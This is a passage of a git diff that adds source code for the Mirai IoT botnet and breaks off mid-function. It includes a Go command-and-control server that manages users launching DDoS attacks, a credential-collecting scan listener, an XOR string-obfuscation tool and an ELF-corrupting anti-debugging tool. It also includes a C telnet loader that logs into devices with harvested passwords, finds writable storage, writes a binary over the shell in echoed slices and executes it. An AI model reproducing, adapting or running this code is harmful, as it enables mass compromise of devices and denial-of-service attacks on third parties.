rows.Close() + for rows.Next() { + var prefix string + var netmask uint8 + rows.Scan(&prefix, &netmask) + + // Parse prefix + ip := net.ParseIP(prefix) + ip = ip[12:] + iWhitelistPrefix := binary.BigEndian.Uint32(ip) + + for aPNetworkOrder, aN := range attack.Targets { + rvBuf := make([]byte, 4) + binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder) + iAttackPrefix := binary.BigEndian.Uint32(rvBuf) + if aN > netmask { // Whitelist is less specific than attack target + if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) { + return true + } + } else if aN < netmask { // Attack target is less specific than whitelist + if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) { + return true + } + } else { // Both target and whitelist have same prefix + if (iWhitelistPrefix == iAttackPrefix) { + return true + } + } + } + } + return false +} + +func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) { + rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username) + defer rows.Close() + if err != nil { + fmt.Println(err) + } + var userId, durationLimit, cooldown uint32 + if !rows.Next() { + return false, errors.New("Your access has been terminated") + } + rows.Scan(&userId, &durationLimit, &cooldown) + + if durationLimit != 0 && duration > durationLimit { + return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit)) + } + rows.Close() + + if allowConcurrent == 0 { + rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown) + if err != nil { + fmt.Println(err) + } + if rows.Next() { + var timeSent, historyDuration uint32 + rows.Scan(&timeSent, &historyDuration) + return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix()))) + } + } + + this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots) + return true, nil +} + +func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) { + rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey) + if err != nil { + fmt.Println(err) + return false, AccountInfo{"", 0, 0} + } + defer rows.Close() + if !rows.Next() { + return false, AccountInfo{"", 0, 0} + } + var accInfo AccountInfo + rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin) + return true, accInfo +} diff --git a/mirai/cnc/main.go b/mirai/cnc/main.go new file mode 100755 index 0000000..670b7a7 --- /dev/null +++ b/mirai/cnc/main.go @@ -0,0 +1,113 @@ +package main + +import ( + "fmt" + "net" + "errors" + "time" +) + +const DatabaseAddr string = "127.0.0.1" +const DatabaseUser string = "root" +const DatabasePass string = "password" +const DatabaseTable string = "mirai" + +var clientList *ClientList = NewClientList() +var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable) + +func main() { + tel, err := net.Listen("tcp", "0.0.0.0:23") + if err != nil { + fmt.Println(err) + return + } + + api, err := net.Listen("tcp", "0.0.0.0:101") + if err != nil { + fmt.Println(err) + return + } + + go func() { + for { + conn, err := api.Accept() + if err != nil { + break + } + go apiHandler(conn) + } + }() + + for { + conn, err := tel.Accept() + if err != nil { + break + } + go initialHandler(conn) + } + + fmt.Println("Stopped accepting clients") +} + +func initialHandler(conn net.Conn) { + defer conn.Close() + + conn.SetDeadline(time.Now().Add(10 * time.Second)) + + buf := make([]byte, 32) + l, err := conn.Read(buf) + if err != nil || l <= 0 { + return + } + + if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 { + if buf[3] > 0 { + string_len := make([]byte, 1) + l, err := conn.Read(string_len) + if err != nil || l <= 0 { + return + } + var source string + if string_len[0] > 0 { + source_buf := make([]byte, string_len[0]) + l, err := conn.Read(source_buf) + if err != nil || l <= 0 { + return + } + source = string(source_buf) + } + NewBot(conn, buf[3], source).Handle() + } else { + NewBot(conn, buf[3], "").Handle() + } + } else { + NewAdmin(conn).Handle() + } +} + +func apiHandler(conn net.Conn) { + defer conn.Close() + + NewApi(conn).Handle() +} + +func readXBytes(conn net.Conn, buf []byte) (error) { + tl := 0 + + for tl < len(buf) { + n, err := conn.Read(buf[tl:]) + if err != nil { + return err + } + if n <= 0 { + return errors.New("Connection closed unexpectedly") + } + tl += n + } + + return nil +} + +func netshift(prefix uint32, netmask uint8) uint32 { + return uint32(prefix >> (32 - netmask)) +} diff --git a/mirai/prompt.txt b/mirai/prompt.txt new file mode 100755 index 0000000..db8b66f --- /dev/null +++ b/mirai/prompt.txt @@ -0,0 +1 @@ +я люблю куриные наггетсы diff --git a/mirai/tools/badbot.c b/mirai/tools/badbot.c new file mode 100755 index 0000000..09f7df9 --- /dev/null +++ b/mirai/tools/badbot.c @@ -0,0 +1,12 @@ +#include +#include + +int main(int argc, char **args) +{ + printf("REPORT %s:%s\n", "127.0.0.1", "80"); + + while (1) + sleep(1); + + return 0; +} \ No newline at end of file diff --git a/mirai/tools/enc.c b/mirai/tools/enc.c new file mode 100755 index 0000000..71bfa7b --- /dev/null +++ b/mirai/tools/enc.c @@ -0,0 +1,101 @@ +#include +#include +#include +#include +#include + +static uint32_t table_key = 0xdeadbeef; + +void *x(void *, int); + +int main(int argc, char **args) +{ + void *data; + int len, i; + + if (argc != 3) + { + printf("Usage: %s \n", args[0]); + return 0; + } + + if (strcmp(args[1], "string") == 0) + { + data = args[2]; + len = strlen(args[2]) + 1; + } + else if (strcmp(args[1], "ip") == 0) + { + data = calloc(1, sizeof (uint32_t)); + *((uint32_t *)data) = inet_addr(args[2]); + len = sizeof (uint32_t); + } + else if (strcmp(args[1], "uint32") == 0) + { + data = calloc(1, sizeof (uint32_t)); + *((uint32_t *)data) = htonl((uint32_t)atoi(args[2])); + len = sizeof (uint32_t); + } + else if (strcmp(args[1], "uint16") == 0) + { + data = calloc(1, sizeof (uint16_t)); + *((uint16_t *)data) = htons((uint16_t)atoi(args[2])); + len = sizeof (uint16_t); + } + else if (strcmp(args[1], "uint8") == 0) + { + data = calloc(1, sizeof (uint8_t)); + *((uint8_t *)data) = atoi(args[2]); + len = sizeof (uint8_t); + } + else if (strcmp(args[1], "bool") == 0) + { + data = calloc(1, sizeof (char)); + if (strcmp(args[2], "false") == 0) + ((char *)data)[0] = 0; + else if (strcmp(args[2], "true") == 0) + ((char *)data)[0] = 1; + else + { + printf("Unknown value `%s` for datatype bool!\n", args[2]); + return -1; + } + len = sizeof (char); + } + else + { + printf("Unknown data type `%s`!\n", args[1]); + return -1; + } + + // Yes we are leaking memory, but the program is so + // short lived that it doesn't really matter... + printf("XOR'ing %d bytes of data...\n", len); + data = x(data, len); + for (i = 0; i < len; i++) + printf("\\x%02X", ((unsigned char *)data)[i]); + printf("\n"); +} + +void *x(void *_buf, int len) +{ + unsigned char *buf = (char *)_buf, *out = malloc(len); + int i; + uint8_t k1 = table_key & 0xff, + k2 = (table_key >> 8) & 0xff, + k3 = (table_key >> 16) & 0xff, + k4 = (table_key >> 24) & 0xff; + + for (i = 0; i < len; i++) + { + char tmp = buf[i] ^ k1; + + tmp ^= k2; + tmp ^= k3; + tmp ^= k4; + + out[i] = tmp; + } + + return out; +} diff --git a/mirai/tools/nogdb.c b/mirai/tools/nogdb.c new file mode 100755 index 0000000..d20db4f --- /dev/null +++ b/mirai/tools/nogdb.c @@ -0,0 +1,56 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char** argv) { + int f; + static Elf32_Ehdr* header; + + printf(".: Elf corrupt :.\n"); + + if(argc < 2){ + printf("Usage: %s file", argv[0]); + return 1; + } + + if((f = open(argv[1], O_RDWR)) < 0){ + perror("open"); + return 1; + } + + //MAP_SHARED is required to actually update the file + if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PROT_WRITE, MAP_SHARED, f, 0)) == MAP_FAILED){ + perror("mmap"); + close(f); + return 1; + } + + printf("[*] Current header values:\n"); + printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n", + header->e_shoff, header->e_shnum, header->e_shstrndx); + + header->e_shoff = 0xffff; + header->e_shnum = 0xffff; + header->e_shstrndx = 0xffff; + + printf("[*] Patched header values:\n"); + printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n", + header->e_shoff, header->e_shnum, header->e_shstrndx); + + if(msync(NULL, 0, MS_SYNC) == -1){ + perror("msync"); + close(f); + return 1; + } + + close(f); + munmap(header, 0); + printf("You should no more be able to run \"%s\" inside GDB\n", argv[1]); + return 0; +} \ No newline at end of file diff --git a/mirai/tools/scanListen.go b/mirai/tools/scanListen.go new file mode 100755 index 0000000..948fc6b --- /dev/null +++ b/mirai/tools/scanListen.go @@ -0,0 +1,95 @@ +package main + +import ( + "fmt" + "net" + "encoding/binary" + "errors" + "time" +) + +func main() { + l, err := net.Listen("tcp", "0.0.0.0:48101") + if err != nil { + fmt.Println(err) + return + } + + for { + conn, err := l.Accept() + if err != nil { + break + } + go handleConnection(conn) + } +} + +func handleConnection(conn net.Conn) { + defer conn.Close() + conn.SetDeadline(time.Now().Add(10 * time.Second)) + + bufChk, err := readXBytes(conn, 1) + if err != nil { + return + } + + var ipInt uint32 + var portInt uint16 + + if bufChk[0] == 0 { + ipBuf, err := readXBytes(conn, 4) + if err != nil { + return + } + ipInt = binary.BigEndian.Uint32(ipBuf) + + portBuf, err := readXBytes(conn, 2) + if err != nil { + return; + } + + portInt = binary.BigEndian.Uint16(portBuf) + } else { + ipBuf, err := readXBytes(conn, 3) + if err != nil { + return; + } + ipBuf = append(bufChk, ipBuf...) + + ipInt = binary.BigEndian.Uint32(ipBuf) + + portInt = 23 + } + + uLenBuf, err := readXBytes(conn, 1) + if err != nil { + return + } + usernameBuf, err := readXBytes(conn, int(byte(uLenBuf[0]))) + + pLenBuf, err := readXBytes(conn, 1) + if err != nil { + return + } + passwordBuf, err := readXBytes(conn, int(byte(pLenBuf[0]))) + if err != nil { + return + } + + fmt.Printf("%d.%d.%d.%d:%d %s:%s\n", (ipInt >> 24) & 0xff, (ipInt >> 16) & 0xff, (ipInt >> 8) & 0xff, ipInt & 0xff, portInt, string(usernameBuf), string(passwordBuf)) +} + +func readXBytes(conn net.Conn, amount int) ([]byte, error) { + buf := make([]byte, amount) + tl := 0 + + for tl < amount { + rd, err := conn.Read(buf[tl:]) + if err != nil || rd <= 0 { + return nil, errors.New("Failed to read") + } + tl += rd + } + + return buf, nil +} diff --git a/mirai/tools/single_load.c b/mirai/tools/single_load.c new file mode 100755 index 0000000..7dd344c --- /dev/null +++ b/mirai/tools/single_load.c @@ -0,0 +1,1024 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define TOKEN "/bin/busybox VDOSS" +#define TOKEN_VERIFY "applet not found" +#define EXEC_VERIFY "YESHELLO" + +#define BYTES_PER_LINE 128 +#define CHARS_PER_BYTE 5 +#define MAX_SLICE_LENGTH (BYTES_PER_LINE * CHARS_PER_BYTE) + +static char *bind_ip = "0.0.0.0"; +static unsigned char debug_mode = 0; +static int maxConnectedSockets = 0; + +static char *bin_server = NULL; +static unsigned short bin_port = NULL; +static char *bin_path = NULL; + +volatile int running_threads = 0; +volatile unsigned long found_srvs = 0; +volatile unsigned int bytes_sent = 0; +volatile unsigned long timed_out = 0; +volatile unsigned long login_done = 0; +volatile unsigned long failed_connect = 0; +volatile unsigned long remote_hangup = 0; +volatile unsigned short port = 0; +volatile unsigned int maxFDSaw = 0; +FILE *infd; +char *run_arg = NULL; + +static int epollFD; + +struct stateSlot_t +{ + int slotUsed; + + pthread_mutex_t mutex; + + unsigned char success; + unsigned char is_open; + unsigned char special; + unsigned char got_prompt; + + uint8_t pathInd; + + uint16_t echoInd; + + int complete; + uint32_t ip; + + int fd; + int updatedAt; + int reconnecting; + + unsigned char state; + + char path[5][32]; + char username[32]; + char password[32]; +}; + +struct +{ + int num_slices; + unsigned char **slices; +} binary; + +struct stateSlot_t stateTable[1024 * 100] = {0}; + +extern float ceilf (float x); + +static int diff(int val) +{ + return (val > 0) ? val : 0; +} + +int matchPrompt(char *bufStr) +{ + int i = 0, q = 0; + char *prompts = ":>%$#"; + + char *tmpStr = malloc(strlen(bufStr) + 1); + memset(tmpStr, 0, strlen(bufStr) + 1); + + // ayy lmao copy pasta for removing ansi shit + char in_escape = 0; + for (i = 0; i < strlen(bufStr); i++) + { + if (bufStr[i] == '\x1B') + { + if (in_escape == 0) + in_escape = 1; + } else if ((in_escape == 1) && (strchr("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", bufStr[i]) != NULL)) + { + in_escape = 0; + } else if (in_escape == 0) + { + strncat(tmpStr, &(bufStr[i]), 1); + } + } + + int bufLen = strlen(tmpStr); + for(i = 0; i < strlen(prompts); i++) + { + while(bufLen > q && (*(tmpStr + bufLen - q) == 0x00 || *(tmpStr + bufLen - q) == ' ' || *(tmpStr + bufLen - q) == '\r' || *(tmpStr + bufLen - q) == '\n')) q++; + + if(*(tmpStr + bufLen - q) == prompts[i]) + { + free(tmpStr); + return 1; + } + } + + free(tmpStr); + return 0; +} + +void hexDump(char *desc, void *addr, int len) +{ + int i; + unsigned char buff[17]; + unsigned char *pc = (unsigned char*)addr; + if (desc != NULL) printf ("%s:\n", desc); + for (i = 0; i < len; i++) { + if ((i % 16) == 0) + { + if (i != 0) printf (" %s\n", buff); + printf (" %04x ", i); + } + printf (" %02x", pc[i]); + if ((pc[i] < 0x20) || (pc[i] > 0x7e)) buff[i % 16] = '.'; + else buff[i % 16] = pc[i]; + buff[(i % 16) + 1] = '\0'; + } + while ((i % 16) != 0) + { + printf (" "); + i++; + } + printf (" %s\n", buff); +} + +int log_recv(int sock, void *buf, int len, int flags) +{ + memset(buf, 0, len); + int ret = recv(sock, buf, len, flags); + if (ret > 0) + { + int i = 0; + for(i = 0; i < ret; i++) + { + if (((char *)buf)[i] == 0x00) + { + ((char *)buf)[i] = 'A'; + } + } + } + if (debug_mode) + { + char hex_buf[32] = {0}; + sprintf(hex_buf, "state %d - recv: %d", stateTable[sock].state, ret); + if (ret != -1) + hexDump(hex_buf, buf, ret); + else + printf("%s\n", hex_buf); + } + return ret; + +} + +int log_send(int sock, void *buf, int len, int flags) +{ + if (debug_mode) + { + char hex_buf[32] = {0}; + sprintf(hex_buf, "state %d - send: %d", stateTable[sock].state, len); + hexDump(hex_buf, buf, len); + } + bytes_sent+=len; + return send(sock, buf, len, flags); +} + +int sockprintf(int sock, char *formatStr, ...) +{ + char textBuffer[2048] = {0}; + memset(textBuffer, 0, 2048); + va_list args; + va_start(args, formatStr); + vsprintf(textBuffer, formatStr, args); + va_end(args); + int q = log_send(sock,textBuffer,strlen(textBuffer), MSG_NOSIGNAL); + return q; +} + +void *memmem(const void *l, size_t l_len, const void *s, size_t s_len) +{ + register char *cur, *last; + const char *cl = (const char *)l; + const char *cs = (const char *)s; + if (l_len == 0 || s_len == 0) + return NULL; + + if (l_len < s_len) + return NULL; + + if (s_len == 1) + return memchr(l, (int)*cs, l_len); + + last = (char *)cl + l_len - s_len; + for (cur = (char *)cl; cur <= last; cur++) + if (cur[0] == cs[0] && memcmp(cur, cs, s_len) == 0) + return cur; + + return NULL; +} + +void handle_remote_closed(int fd) +{ + remote_hangup++; +} + +void handle_timeout(int fd) +{ + timed_out++; +} + +void handle_failed_connect(int fd) +{ + failed_connect++; +} + +void handle_found(int fd) +{ + /* + struct stateSlot_t *state = &stateTable[fd]; + + struct sockaddr_in name; + int namelen = (sizeof (struct sockaddr_in)); + + getpeername(state->fd, &name, &namelen); + + FILE *fp = fopen("loaded.txt", "a"); + fprintf(outfd, "%d.%d.%d.%d:%s:%s:%s:%d:%d:%d\n", + (name.sin_addr.s_addr & 0xff), + ((name.sin_addr.s_addr & (0xff << 8)) >> 8), + ((name.sin_addr.s_addr & (0xff << 16)) >> 16), + ((name.sin_addr.s_addr & (0xff << 24)) >> 24), + + state->username, + state->password, + state->path, + state->wget, + state->endianness, + state->arch + ); + fclose(outfd); + */ + + found_srvs++; +} + +void closeAndCleanup(int fd) +{ + if(stateTable[fd].slotUsed && stateTable[fd].fd == fd) + { + stateTable[fd].slotUsed = 0; + stateTable[fd].state = 0; + stateTable[fd].path[0][0] = 0; + stateTable[fd].path[1][0] = 0; + stateTable[fd].path[2][0] = 0; + stateTable[fd].path[3][0] = 0; + stateTable[fd].path[4][0] = 0; + stateTable[fd].username[0] = 0; + stateTable[fd].password[0] = 0; + stateTable[fd].echoInd = 0; + stateTable[fd].pathInd = 0; + stateTable[fd].success = 0; + stateTable[fd].special = 0; + stateTable[fd].got_prompt = 0; + + if(stateTable[fd].is_open) + { + stateTable[fd].is_open = 0; + + shutdown(fd, SHUT_RDWR); + struct linger linger; + linger.l_onoff = 1; + linger.l_linger = 0; + setsockopt(fd, SOL_SOCKET, SO_LINGER, (char *) &linger, sizeof(linger)); + close(fd); + } + } +} + +void updateAccessTime(int fd) +{ + if(stateTable[fd].slotUsed && stateTable[fd].fd == fd) + { + stateTable[fd].updatedAt = time(NULL); + } +} + +int getConnectedSockets() +{ + int q = 0, i = 0; + for(q = 0; q < maxFDSaw; q++) if(stateTable[q].slotUsed) i++; + + return i; +} + +void *flood(void *par1) +{ + __sync_fetch_and_add(&running_threads, 1); + + unsigned char buf[10241] = {0}; + + struct epoll_event pevents[25] = {0}; + int ret = 0, i = 0, got = 0, ii = 0; + while((ret = epoll_wait( epollFD, pevents, 25, 10000 )) >= 0 || (ret == -1 && errno == EINTR)) + { + if(ret == 0) continue; + for(i = 0; i < ret; i++) + { + if((pevents[i].events & EPOLLERR) || (pevents[i].events & EPOLLHUP) || (pevents[i].events & EPOLLRDHUP) || (!(pevents[i].events & EPOLLIN) && !(pevents[i].events & EPOLLOUT))) + { + struct stateSlot_t *state = &stateTable[pevents[i].data.fd]; + if (state->state == 0) handle_failed_connect(state->fd); + else handle_remote_closed(state->fd); + pthread_mutex_lock(&state->mutex); + closeAndCleanup(state->fd); + pthread_mutex_unlock(&state->mutex); + } else if(pevents[i].events & EPOLLIN) + { + int is_closed = 0; + struct stateSlot_t *state = &stateTable[pevents[i].data.fd]; + + memset(buf, 0, 10241); + + pthread_mutex_lock(&state->mutex); + int old_state = state->state; + + got = 0; + do + { + if(state->state == 1) + { + if ((got = log_recv(state->fd, buf, 1, MSG_PEEK)) > 0 && buf[0] == 0xFF) + state->state = 2; + + if (got > 0 && buf[0] != 0xFF) + state->state = 3; + } + + if (state->state == 2) + { + //from first peek + log_recv(state->fd, buf, 1, 0); + + got = log_recv(state->fd, buf + 1, 2, 0); + if (got > 0) + { + state->state = 1; + + if (buf[1] == 0xFD && buf[2] == 31) + { + unsigned char tmp1[3] = {255, 251, 31}; + log_send(state->fd, tmp1, 3, MSG_NOSIGNAL); + unsigned char tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240}; + log_send(state->fd, tmp2, 9, MSG_NOSIGNAL); + continue; + } + + for (ii = 0; ii < 3; ii++) + { + if (buf[ii] == 0xFD) buf[ii] = 0xFC; + else if (buf[ii] == 0xFB) buf[ii] = 0xFD; + } + log_send(state->fd, buf, 3, MSG_NOSIGNAL); + } + } + } while(got > 0 && state->state != 3); + + if (state->state == 3) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + //special case for huawei + if (memmem(buf, got, "Huawei Home Gateway", 19) != NULL) + state->special = 1; + + if (memmem(buf, got, "BusyBox", 7) != NULL) + { + state->got_prompt = 1; + + //maybe we are logged in already? LOL + sockprintf(state->fd, "enable\r\n"); + state->state = 7; + break; + } + + if (memmem(buf, got, "ogin", 4) != NULL || memmem(buf, got, "sername", 7) != NULL || matchPrompt(buf)) + { + state->got_prompt = 1; + + sockprintf(state->fd, "%s\r\n", state->username); + state->state = 4; + break; + } + } + } + + if (state->state == 4) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (memmem(buf, got, "assword", 7) != NULL || matchPrompt(buf)) + { + sockprintf(state->fd, "%s\r\n", state->password); + state->state = 5; + break; + } + } + } + + if (state->state == 5) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (strcasestr(buf, "access denied") != NULL || strcasestr(buf, "invalid password") != NULL || strcasestr(buf, "login incorrect") != NULL || strcasestr(buf, "password is wrong") != NULL) + { + //bad login. reconnect and retry + state->state = 254; + break; + } + + if (strcasestr(buf, "BusyBox") != NULL || matchPrompt(buf)) + { + //REASONABLY sure we got a good login. + sockprintf(state->fd, "enable\r\n"); + state->state = 6; + break; + } + } + } + + if (state->state == 6) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + sockprintf(state->fd, "shell\r\n"); + state->state = 7; + break; + } + } + + if (state->state == 7) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + sockprintf(state->fd, "sh\r\n"); + if (state->special == 1) + { + state->state = 250; + } else { + state->state = 8; + } + break; + } + } + + if (state->state == 8) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (matchPrompt(buf)) + { + sockprintf(state->fd, "%s\r\n", TOKEN); + state->state = 9; + break; + } + } + } + + if (state->state == 9) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (strcasestr(buf, TOKEN_VERIFY) != NULL && matchPrompt(buf)) + { + sockprintf(state->fd, "cat /proc/mounts\r\n"); + state->state = 10; + break; + } + } + } + + if (state->state == 10) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (strstr(buf, "tmpfs") != NULL || strstr(buf, "ramfs") != NULL) + { + char *tmp_buf = buf; + char *start = NULL; + char *space = NULL; + int memes = 0; + do + { + start = strstr(tmp_buf, "tmpfs") != NULL ? strstr(tmp_buf, "tmpfs") : strstr(tmp_buf, "ramfs"); + space = strchr(start, ' '); + if (start != tmp_buf && *(start - 1) != '\n') + { + //this is a middle of line find + while(start > buf && *start != '\n') start--; + + //WEVE GONE TOO FAR GOTTA BLAST + if (start == buf) + continue; + + start++; + space = strchr(start, ' '); + } + + if (space[1] == '/') + { + int iii = 1; + + for (iii = 1; ; iii++) { + if (space[iii] == '\0' || space[iii] == ' ') { + break; + } + } + + if (iii > 1) { + strncpy(state->path[memes], &space[1], iii - 1); + state->path[memes][iii - 1] = '\0'; + memes++; + } + + space = space + iii; + if (space[0] != '\0') + { + for (iii = 1; ; iii++) { + if (space[iii] == '\0' || space[iii] == ' ') { + break; + } + } + space = space + iii; + } else { + break; + } + } + + tmp_buf = space; + } while(strstr(tmp_buf, "tmpfs") != NULL || strstr(tmp_buf, "ramfs") != NULL && memes < 5); + + if (strlen(state->path[0]) == 0) + { + strcpy(state->path[0], "/"); + } + + sockprintf(state->fd, "/bin/busybox mkdir -p %s; /bin/busybox rm %s/a; /bin/busybox cp -f /bin/sh %s/a && /bin/busybox VDOSS\r\n", state->path[0], state->path[0], state->path[0]); + state->state = 100; + break; + } else if (matchPrompt(buf)) + { + strcpy(state->path[0], "/var/run"); + sockprintf(state->fd, "/bin/busybox mkdir -p %s; /bin/busybox rm %s/a; /bin/busybox cp -f /bin/sh %s/a && /bin/busybox VDOSS\r\n", state->path[0], state->path[0], state->path[0]); + state->state = 100; + break; + } + } + } + + if (state->state == 100) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (strcasestr(buf, "applet not found") != NULL) + { + sockprintf(state->fd, "/bin/busybox echo -ne '' > %s/a && /bin/busybox VDOSS\r\n", state->path[state->pathInd]); + state->state = 101; + break; + } else if (matchPrompt(buf)) + { + state->pathInd++; + if (state->pathInd == 5 || strlen(state->path[state->pathInd]) == 0) + { + strcpy(state->path[0], "/var/run"); + state->pathInd = 0; + sockprintf(state->fd, "/bin/busybox echo -ne '' > %s/a && /bin/busybox VDOSS\r\n", state->path[state->pathInd]); + state->state = 101; + break; + } + sockprintf(state->fd, "/bin/busybox mkdir -p %s; /bin/busybox rm %s/a; /bin/busybox cp -f /bin/sh %s/a && /bin/busybox VDOSS\r\n", state->path[state->pathInd], state->path[state->pathInd], state->path[state->pathInd]); + break; + } + } + } + + if (state->state == 101) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (strcasestr(buf, "applet not found") != NULL) + { + sockprintf(state->fd, "/bin/busybox echo -ne %s >> %s/a && /bin/busybox VDOSS\r\n", binary.slices[state->echoInd++], state->path[state->pathInd]); + if (state->echoInd == binary.num_slices) state->state = 102; + else state->state = 101; + break; + } + } + } + + if (state->state == 102) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (strcasestr(buf, "applet not found") != NULL) + { + sockprintf(state->fd, "%s/a %s; /bin/busybox VDOSS\r\n", state->path[state->pathInd], run_arg); + state->state = 103; + break; + } + } + } + + if (state->state == 103) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (strcasestr(buf, "applet not found") != NULL) + { + state->state = 255; + break; + } + } + } + + if (state->state == 250) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (matchPrompt(buf)) + { + sockprintf(state->fd, "show text /proc/self/environ\r\n"); + state->state = 251; + break; + } + } + } + + if (state->state == 251) + { + while ((got = log_recv(state->fd, buf, 10240, 0)) > 0) + { + if (memmem(buf, got, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 16) != NULL || matchPrompt(buf)) + { + sockprintf(state->fd, "export PS1=\"prompt>\"\r\n"); + state->state = 8; + break; + } + } + } + + //reconnect and retry + if (state->state == 254) + { + closeAndCleanup(state->fd); + is_closed = 1; + } + + if (state->state == 255) + { + if (state->success) + { + handle_found(state->fd); + } + closeAndCleanup(state->fd); + is_closed = 1; + } + + if (state->slotUsed && (old_state != state->state || state->state == 101)) + updateAccessTime(state->fd); + + pthread_mutex_unlock(&state->mutex); + + if (!is_closed) + { + struct epoll_event event = {0}; + event.data.fd = state->fd; + event.events = EPOLLIN | EPOLLRDHUP | EPOLLET | EPOLLONESHOT; + epoll_ctl(epollFD, EPOLL_CTL_MOD, state->fd, &event); + } + } else if(pevents[i].events & EPOLLOUT) + { + struct stateSlot_t *state = &stateTable[pevents[i].data.fd]; + + pthread_mutex_lock(&state->mutex); + if(state->state == 0) + { + int so_error = 0; + socklen_t len = sizeof(so_error); + getsockopt(state->fd, SOL_SOCKET, SO_ERROR, &so_error, &len); + if (so_error) { handle_failed_connect(state->fd); closeAndCleanup(state->fd); pthread_mutex_unlock(&state->mutex); continue; } + + state->state = 1; + + pevents[i].events = EPOLLIN | EPOLLRDHUP | EPOLLET | EPOLLONESHOT; + epoll_ctl(epollFD, EPOLL_CTL_MOD, state->fd, &pevents[i]); + } else { + printf("wrong state on connect epoll: %d\n", state->fd); + closeAndCleanup(state->fd); + } + pthread_mutex_unlock(&state->mutex); + } + } + } + + __sync_fetch_and_sub(&running_threads, 1); + + return NULL; +} + +void sighandler(int sig) +{ + printf("\nctrl-c\n"); + exit(0); +} + +void chomp(char *s) +{ + while(*s && *s != '\n' && *s != '\r') s++; + *s = 0; +} + +void *loader(void *threadCount) +{ + char readmelolfgt[1024], *hahgay; + memset(readmelolfgt, 0, 1024); + + char *pch = NULL; + char *running, *orig, *token; + while(fgets(readmelolfgt, 1024, infd) != NULL) + { + while(getConnectedSockets() > (maxConnectedSockets - 1)) + { + int curTime = time(NULL); + int q; + for(q = 0; q < maxFDSaw; q++) + { + pthread_mutex_lock(&stateTable[q].mutex); + if(stateTable[q].slotUsed && curTime > (stateTable[q].updatedAt + 60) && stateTable[q].reconnecting == 0) + { + if (stateTable[q].state == 0) handle_failed_connect(stateTable[q].fd); + else handle_timeout(stateTable[q].fd); + + closeAndCleanup(stateTable[q].fd); + } + pthread_mutex_unlock(&stateTable[q].mutex); + } + + usleep(1000000); + } + running = orig = strdup(readmelolfgt); + + token = strsep(&running, ":"); + if(token == NULL || inet_addr(token) == -1) { free(orig); continue; } + struct sockaddr_in dest_addr = {0}; + memset(&dest_addr, 0, sizeof(struct sockaddr_in)); + dest_addr.sin_family = AF_INET; + dest_addr.sin_port = htons(23); + dest_addr.sin_addr.s_addr = inet_addr(token); + + int fd = 0; + struct sockaddr_in my_addr = {0}; + + do + { + if (errno != EBADF && fd > 0) + close(fd); + + fd = 0; + + if((fd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))<0) + { + perror("cant open socket"); + exit(-1); + } + fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, NULL) | O_NONBLOCK); + int flag = 1; + setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (char *) &flag, sizeof(int)); + + memset(&my_addr, 0, sizeof(struct sockaddr_in)); + my_addr.sin_addr.s_addr = inet_addr(bind_ip); + my_addr.sin_port = htons(port++); + my_addr.sin_family = AF_INET; + errno = 0; + } while(bind(fd, (struct sockaddr *)&my_addr, sizeof(my_addr)) != 0); + + printf("bound\n"); + + int res = 0; + res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); + if(res < 0 && errno != EINPROGRESS) { close(fd); continue; } + + if(fd > maxFDSaw) maxFDSaw = fd + 1; + + pthread_mutex_lock(&stateTable[fd].mutex); + if(!stateTable[fd].slotUsed) + { + + printf("memes\n"); + stateTable[fd].fd = fd; + stateTable[fd].updatedAt = time(NULL); + stateTable[fd].slotUsed = 1; + stateTable[fd].state = 0; + stateTable[fd].is_open = 1; + stateTable[fd].special = 0; + + token = strsep(&running, ":"); + strcpy(stateTable[fd].username, token); + + token = strsep(&running, ":"); + strcpy(stateTable[fd].password, token); + } else { + printf("used slot found in loader thread?\n"); + } + 